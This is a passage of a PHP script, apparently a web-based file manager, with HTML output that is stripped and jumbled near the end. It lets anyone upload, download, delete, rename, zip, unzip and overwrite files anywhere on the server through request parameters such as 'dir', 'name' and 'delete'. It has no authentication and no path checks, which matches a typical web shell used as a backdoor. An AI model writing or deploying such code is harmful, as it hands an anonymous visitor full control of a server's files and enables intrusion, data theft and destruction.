';
echo '';
echo '';
echo '
';
echo '';
echo '';*/
exit;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_GET['save']) && isset($_POST['file_content'])) {
// Save file action
$filePaths=$_GET['name'];
$fileContent = $_POST['file_content'];
file_put_contents($filePaths, $fileContent);
echo 'success';
exit;
}
function getCurrentDir()
{
$dir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__;
return realpath($dir);
}
// Function to get the files and directories in the current directory
function getFilesAndDirs($dir)
{
$items = [];
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry !== '.' && $entry !== '..') {
$item = [
'name' => $entry,
'path' => $dir . DIRECTORY_SEPARATOR . $entry,
'type' => is_dir($dir . DIRECTORY_SEPARATOR . $entry) ? 'dir' : 'file',
];
if (file_exists($dir . DIRECTORY_SEPARATOR . $entry)) {
$item['modified'] = date('Y-m-d H:i:s', filemtime($dir . DIRECTORY_SEPARATOR . $entry));
$item['permission'] = substr(sprintf('%o', fileperms($dir . DIRECTORY_SEPARATOR . $entry)), -4);
} else {
$item['modified'] = 'N/A';
$item['permission'] = 'N/A';
}
$items[] = $item;
}
}
closedir($handle);
}
return $items;
}
// Function to upload files
function uploadFiles($dir)
{
if (isset($_FILES['filesToUpload'])) {
$files = $_FILES['filesToUpload'];
$numFiles = count($files['name']);
for ($i = 0; $i < $numFiles; $i++) {
$tmpFilePath = $files['tmp_name'][$i];
if ($tmpFilePath != "") {
$newFilePath = $dir . DIRECTORY_SEPARATOR . $files['name'][$i];
move_uploaded_file($tmpFilePath, $newFilePath);
}
}
header("Location: ?dir=" . $dir);
exit;
}
}
// Function to download a file
function downloadFile($file)
{
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
}
// Function to delete a file or directory
function deleteItem($item)
{
if (is_dir($item)) {
$objects = scandir($item);
foreach ($objects as $object) {
if ($object != "." && $object != "..") {
if (filetype($item . DIRECTORY_SEPARATOR . $object) == "dir") {
deleteItem($item . DIRECTORY_SEPARATOR . $object);
} else {
unlink($item . DIRECTORY_SEPARATOR . $object);
}
}
}
reset($objects);
rmdir($item);
} else {
unlink($item);
}
}
// Function to rename a file or directory
function renameItem($oldName, $newName)
{
if (file_exists($oldName)) {
rename($oldName, $newName);
}
}
// Function to create a zip archive
function createZip($source, $destination)
{
if (extension_loaded('zip')) {
$zip = new ZipArchive();
if ($zip->open($destination, ZipArchive::CREATE)) {
$source = str_replace('\\', '/', realpath($source));
if (is_dir($source) === true) {
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
foreach ($files as $file) {
$file = str_replace('\\', '/', $file);
// Ignore "." and ".." folders
if (in_array(substr($file, strrpos($file, '/') + 1), array('.', '..')))
continue;
$file = realpath($file);
if (is_dir($file) === true) {
$zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
} else if (is_file($file) === true) {
$zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
}
}
} else if (is_file($source) === true) {
$zip->addFromString(basename($source), file_get_contents($source));
}
}
return $zip->close();
}
return false;
}
// Function to unzip a file
function unzipFile($zipFile, $extractTo)
{
$zip = new ZipArchive();
if ($zip->open($zipFile) === true) {
$zip->extractTo($extractTo);
$zip->close();
return true;
} else {
return false;
}
}
// Process file uploads
uploadFiles(getCurrentDir());
// Process file downloads
if (isset($_GET['download'])) {
$downloadFile = getCurrentDir() . DIRECTORY_SEPARATOR . $_GET['download'];
downloadFile($downloadFile);
}
// Process file deletion
if (isset($_GET['delete'])) {
$deleteItem = getCurrentDir() . DIRECTORY_SEPARATOR . $_GET['delete'];
deleteItem($deleteItem);
}
/*
// Process file/folder renaming
if (isset($_GET['rename']) && isset($_POST['new_name'])) {
$oldName = getCurrentDir() . DIRECTORY_SEPARATOR . $_GET['rename'];
$newName = getCurrentDir() . DIRECTORY_SEPARATOR . $_POST['new_name'];
renameItem($oldName, $newName);
}*/
//&& isset($_POST['renameBtn'])
// Handle Rename
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['oldName']) && isset($_POST['newName'])) {
$oldName = $_POST['oldName'];
$newName = dirname($oldName) . '/' . $_POST['newName'];
renameItem($oldName, $newName);
}
// Process folder zipping
if (isset($_GET['zip'])) {
$zipFolder = getCurrentDir() . DIRECTORY_SEPARATOR . $_GET['zip'];
$zipFileName = getCurrentDir() . DIRECTORY_SEPARATOR . $_GET['zip'] . '.zip';
createZip($zipFolder, $zipFileName);
}
// Handle Unzip
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['unzipBtn']) && isset($_POST['fileToUnzip'])) {
unzipFile($_POST['fileToUnzip'], getCurrentDir());
}
if (isset($_POST['create_file']) && isset($_POST['file_name'])) {
$fileName = $_POST['file_name'];
$filePath = getCurrentDir() . DIRECTORY_SEPARATOR . $fileName;
if (!file_exists($filePath)) {
$handle = fopen($filePath, 'w') or die("Cannot create file: " . $fileName);
fclose($handle);
}
}
if (isset($_POST['create_folder']) && isset($_POST['folder_name'])) {
$folderName = $_POST['folder_name'];
$folderPath = getCurrentDir() . DIRECTORY_SEPARATOR . $folderName;
if (!file_exists($folderPath)) {
mkdir($folderPath, 0755, true);
}
}
function deleteFileOrDir($item)
{
if (is_file($item)) {
unlink($item);
} elseif (is_dir($item)) {
rmdir($item);
}
}
// Handle Delete
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['deleteBtn']) && isset($_POST['itemToDelete'])) {
$itemToDelete = $_POST['itemToDelete'];
deleteFileOrDir($itemToDelete);
}
/*
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['edit']) && isset($_GET['name'])) {
// Edit file action
$filePaths=$_GET['name'];
if (is_file($filePaths)) {
$fileContent = file_get_contents($filePaths);
echo @htmlentities($fileContent ,ENT_NOQUOTES); ;
/* echo '
Name | Date Modified | Permission | Action | '; if ($item['type'] === 'dir') { echo ' ' . $item['name'] . ''; } else { echo ' ' . $item['name'] . ''; } echo ' | '; echo '' . $item['modified'] . ' | '; echo ''; echo ' | '; // Delete button echo ''; $editFile=trim($item['name']); echo ''; if ($item['type'] === 'dir') { echo 'Zip'; //echo "Rename"; //echo "Delete"; /* echo ''; echo '';*/ }elseif (strtolower(pathinfo($currentDir . '/' . $item['name'], PATHINFO_EXTENSION)) === 'zip') { // Unzip button (if file is a zip) echo ''; echo 'Download'; /* echo ''; echo "Rename"; echo "Delete";*/ }else { echo 'Download'; echo ''; /* echo ''; echo "Rename"; echo "Delete";*/ } echo ' | '; echo ''; } ?>
---|